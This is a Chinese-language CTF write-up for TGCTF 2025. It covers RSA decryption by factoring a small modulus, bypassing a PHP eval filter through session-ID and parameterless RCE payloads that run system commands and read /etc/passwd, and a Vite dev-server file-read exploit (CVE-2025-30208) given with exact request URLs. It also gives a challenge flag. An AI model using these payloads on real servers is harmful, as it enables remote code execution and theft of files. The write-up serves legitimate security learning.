Crypto

费克特尔

题目

c=670610235999012099846283721569059674725712804950807955010725968103642359765806

n=810544624661213367964996895060815354972889892659483948276203088055391907479553

e=65537

only rsa, just do it

解题脚本

首先需要通过工具分解N,分解后的素数如下:

P3 = 113
P5 = 18251
P7 = 2001511
P39 = 916848439436544911290378588839845528581
P27 = 214168842768662180574654641

然后使用一个python脚本解密

# pip install pycryptodome
from Crypto.Util.number import long_to_bytes

# 给定的参数
c = 670610235999012099846283721569059674725712804950807955010725968103642359765806
n = 810544624661213367964996895060815354972889892659483948276203088055391907479553
e = 65537

# 分解后的素因子
primes = [
    113,
    18251,
    2001511,
    916848439436544911290378588839845528581,
    214168842768662180574654641
]

# 计算欧拉函数φ(n)
phi = 1
for p in primes:
    phi *= (p - 1)

# 计算私钥d
d = pow(e, -1, phi)

# 解密得到明文m
m = pow(c, d, n)

# 将整数转换为字节
flag = long_to_bytes(m).decode()

print("Flag:", flag)
# Flag: TGCTF{f4888_6abdc_9c2bd_9036bb}

赛后回忆

首先这是个非常简单的题目。但是这个题目我没有做出来主要还是因为对RSA原理的理解有误。在比赛过程中,我错误的将前几个素数相乘得到P,后面一个作为Q,并以此来计算私钥并解密。

此时P以及不是素数了,作为四个质数的乘积,是合数。

实际上,RSA的欧拉函数 φ(n) 定义为所有素数减1后的乘积:

相关知识点总结

分解N的工具:
  • http://www.factordb.com/

文章配图

  1. Yafu

用法:

假如要分解因数 6 ,输入命令:.\yafu-x64.exe "factor(6)"。

如果因数过长,将 因数 用文本文件存放在 yafu 目录下,例如:data.txt 。(文件最后一行一定要换行,否则eof; done processing batchfile),输入命令:.\yafu-x64.exe "factor(@)" -batchfile data.txt

此题使用Yafu:

(base) PS E:\tools\yafu> .\yafu-x64.exe "factor(810544624661213367964996895060815354972889892659483948276203088055391907479553)"

fac: factoring 810544624661213367964996895060815354972889892659483948276203088055391907479553
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C76
rho: x^2 + 2, starting 1000 iterations on C76
rho: x^2 + 2, starting 1000 iterations on C72
rho: x^2 + 2, starting 1000 iterations on C66
rho: x^2 + 1, starting 1000 iterations on C66
pm1: starting B1 = 150K, B2 = gmp-ecm default on C66
ecm: 30/30 curves on C66, B1=2K, B2=gmp-ecm default
ecm: 74/74 curves on C66, B1=11K, B2=gmp-ecm default
ecm: 3/3 curves on C66, B1=50K, B2=gmp-ecm default, ETA: 0 sec

starting SIQS on c66: 196360369268378676845816902109610817715979362788171805302169794421

==== sieving in progress (1 thread):    7104 relations needed ====
====           Press ctrl-c to abort and save state           ====
5694 rels found: 2820 full + 2874 from 30332 partial, (5865.57 rels/sec)

SIQS elapsed time = 6.6770 seconds.
Total factoring time = 7.8627 seconds

***factors found***

P3 = 113
P5 = 18251
P7 = 2001511
P39 = 916848439436544911290378588839845528581
P27 = 214168842768662180574654641

ans = 1
RSA基本原理

• 基于大整数分解困难性的非对称加密算法,核心公式为:
[ m = c^d \mod n ]
公钥(n, e),用于加密(计算密文 ( c = m^e \mod n ))。
私钥(d, n),用于解密。
数学依赖:已知 n 的素因子分解时,可计算私钥 d

核心公式与参数

  • 密钥生成
    • 选择两个大素数 pq(实际场景可能更多素数)。
    • 计算模数:。
    • 计算欧拉函数:)(若 n 由多个素数组成,需所有素数减一后的乘积)。
    • 选择公钥指数 e:满足 且• 计算私钥指数 d:)。

  • 加密与解密
    • 加密:
    • 解密:

RSA求解通用步骤

  • 分解模数 n
    目标:将 n 分解为素数的乘积。
    方法
    ◦ 小 n 直接使用工具分解(如 yafufactordb)。
    ◦ 特殊形式的 n(如共用素数、Pollard's rho算法)。

  • 计算欧拉函数 φ(n)
    公式
    ◦ 若 n = p * q(双素数):
    ◦ 若 n 由多素数组成:。

  • 计算私钥 d
    公式
    实现

d = pow(e, -1, phi_n)  
  • 解密密文 c
    公式
    实现
m = pow(c, d, n)  
  • 明文转换
    方法:将整数 m 转换为字节:
from Crypto.Util.number import long_to_bytes  
flag = long_to_bytes(m).decode()  

WEB

AAA偷渡阴平

题目

<?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

解题方法

有两种方法

  • 利用session
payload:?tgctf2025=session_start();system(hex2bin(session_id()));
PHPSESSID=6c73202f #ls /

PHPSESSID=636174202f666c6167 #cat /flag
  1. 无参RCE

这里的答案不唯一,有好多内置函数可以使用。

payload:?tgctf2025=eval(current(next(get_defined_vars())));
Body:
a=system("ls /");

get_defined_vars(): 获取所有变量,包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

prev() - 将内部指针指向数组中的上一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
current() - 返回数组中的当前元素的值。
end() - 将内部指针指向数组中的最后一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动
pos() - current() 的别名。

知识总结

session相关知识
  • 启动会话:session_start()

session_start() 初始化或恢复现有会话。

PHP默认通过Cookie中的PHPSESSID获取会话ID。若未指定,会生成新ID。攻击者可控制PHPSESSID的值(需服务器允许自定义会话ID)。

  1. 获取会话ID:session_id()

session_id() 返回当前会话的ID。

由于PHPSESSID仅允许字符:a-z A-Z 0-9 , -(正则规则:[0-9a-zA-Z,-]),且长度通常限制为32或26字符,所有这里通常将字符转换为16进制,再发送。

即,PHPSESSID=恶意十六进制字符串。

  1. 十六进制解码:hex2bin()

hex2bin() 将十六进制字符串转换为原始二进制数据。

需提前将系统命令(如cat /etc/passwd)转换为十六进制格式(如636174202F6574632F706173737764)作为PHPSESSID的值。

  1. 为什么需要session_start()

session_start() 是PHP会话管理的核心函数,其作用不仅仅是“启动会话”,更关键的是 将会话数据与当前请求绑定。

无参RCE相关知识

无参数RCE(无参数命令执行)是一种在严格限制下通过无参函数嵌套实现代码执行的技巧。

相关函数:

scandir():将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称。

glob(): 函数返回一个包含匹配指定模式的文件名或目录的数组。该函数返回一个包含有匹配文件/目录的数组。如:glob("*.txt");glob("*.*");

localeconv(): 返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是 .)

current():返回数组中的单元,默认取第一个值。

pos(): current() 的别名。

getcwd(): 取得当前工作目录

dirname(): 函数返回路径中的目录部分

array_flip(): 交换数组中的键和值,成功时返回交换后的数组

array_rand(): 从数组中随机取出一个或多个单元

array_reverse(): 将数组内容反转

strrev(): 用于反转给定字符串

getcwd():获取当前工作目录路径

chdir():函数改变当前的目录。

highlight_file(): 语法高亮显示 PHP 文件的源代码,生成带有 HTML 格式的代码(如关键字用不同颜色标记)。

show_source():完全等价于highlight_file(),是它的别名函数。

readfile():直接读取文件内容并输出原始字节流,不进行任何处理。

chr() / ord():ASCII转换。

hex2bin() / bin2hex():十六进制与二进制互转。

base64_encode() / base64_decode():Base64编解码。

strrev():反转字符串。

strlen():获取字符串长度。

substr():截取字符串片段。

implode() / join():合并数组为字符串,返回一个由数组元素组合成的字符串。

str_pad(): 将字符串填充到指定长度,常用于生成固定格式的字符串(如构造路径、补齐字符)。

echo str_pad("test", 6, "A"); // 输出 "testAA"(右填充)
echo str_pad("test", 6, "0", STR_PAD_LEFT); // 输出 "00test"(左填充)
// 用 chr() 生成特定字符(如 chr(46) = ".")
str_pad("data", 6, chr(ord('A') + 13)); // 填充字符为 "N"(chr(78))
// 填充路径:从当前目录跳到上级目录(如 "../")
$path = str_pad(".", 3, ".", STR_PAD_LEFT); // 生成 "..."
chdir(str_repeat($path, 1)); // 进入上级目录

str_repeat():重复字符串多次,常用于批量生成字符序列。

echo str_repeat("A", 3); // 输出 "AAA"
echo str_repeat("../", 2); // 输出 "../../"

strtr():字符替换。把字符串中的字符 "ia" 替换成 "eo":strtr("Hilla Warld","ia","eo");

常见利用思路:

  • 目录遍历与文件读取:
// 读取当前目录文件列表
scandir(current(localeconv())); // scandir('.')

// 读取上级目录
scandir(dirname(getcwd()));

// 读取/etc/passwd(需构造路径)
readfile(implode(array_map('chr', [47,101,116,99,47,112,97,115,115,119,100])));
  1. 构造命令字符串:
// 生成"system"字符串
$system = implode(array_map('chr', [115,121,115,116,101,109]));

// 生成"ls"命令
$ls = implode(array_map('chr', [108,115]));

// 动态执行(需绕过参数限制)
$system($ls); // 即system('ls');
  1. 数学运算生成ASCII码:
// 利用pi()生成数字3
chr(floor(pi()) + 44); // 3 + 44 = 47 -> '/'

// 组合生成路径
glob(chr(floor(pi())+44).'*'); // glob('/*')匹配根目录
  1. 伪协议读取文件
// Base64编码读取文件
readfile(hex2bin('7068703A2F2F66696C7465722F636F6E766572742E6261736536342D656E636F64652F7265736F757263653D666C61672E747874'));
// 对应:php://filter/convert.base64-encode/resource=flag.txt

WEB前端GAME

这个题目是一个消消乐游戏,第一步很简单。由于是通过vue开发的游戏,直接通过vue tools修改组件score的分数即可,如下:

文章配图

第二步就有点难度了,当时我考虑到前端怎么能读取到服务器根目录呢?所有注意力一直放在寻找后端接口上了,没想到是vue vite的漏洞。

漏洞代码:CVE-2025-30208

一、Vite 简介

Vite 现代化前端构建工具,旨在提升开发效率与体验。它基于原生 ES 模块(ESM)和浏览器原生能力设计。

二、CVE-2025-30208 漏洞详解

漏洞背景

2025 年 3 月,Vite 开发服务器(Dev Server)被曝存在高危任意文件读取漏洞,攻击者可绕过访问控制限制,读取服务器上的任意文件(包括系统敏感文件)。

漏洞原理

触发条件: Vite 开发服务器通过 --hostserver.host 配置暴露至公网。

攻击者构造包含 ?raw???import&raw?? 参数的 URL,利用系统对 URL 尾部分隔符的解析缺陷,绕过 @fs 路径访问限制。

攻击示例:
读取 Windows 系统文件:
http://目标服务器:端口/@fs/C://windows/win.ini?import&raw??
读取 Linux 系统文件:
http://目标服务器:端口/@fs/etc/passwd?import&raw??

影响范围:

Vite ≤4.5.9

5.0.0 ≤ Vite ≤5.4.14

6.0.0 ≤ Vite ≤6.2.2

Vite 作为前端工具为何能读取服务器文件?

Vite 本质上是前端开发工具,其核心功能并不涉及服务器文件操作,但因其开发服务器(Dev Server)的设计特性,在特定配置下可能暴露文件读取风险。

Vite 开发服务器通过 @fs 路径前缀将本地文件系统的绝对路径映射到 HTTP 请求中,允许前端代码直接引用本地文件(例如配置文件或静态资源)。例如,项目内文件 /src/config.json 可通过 URL /@fs/项目路径/src/config.json 访问,这原本是为了提升开发灵活性。

Vite 默认通过 server.fs.allow 限制可访问的目录(通常仅项目根目录),并通过正则表达式检查 URL 路径合法性。然而,漏洞版本中路径解析逻辑存在缺陷: 攻击者可通过在 URL 中插入 ?raw???import&raw?? 等特殊查询参数,绕过路径过滤规则。 例如,请求 /@fs/etc/passwd?import&raw?? 会被解析为 /etc/passwd,因为系统在删除尾部分隔符时未正确处理查询字符串中的特殊符号。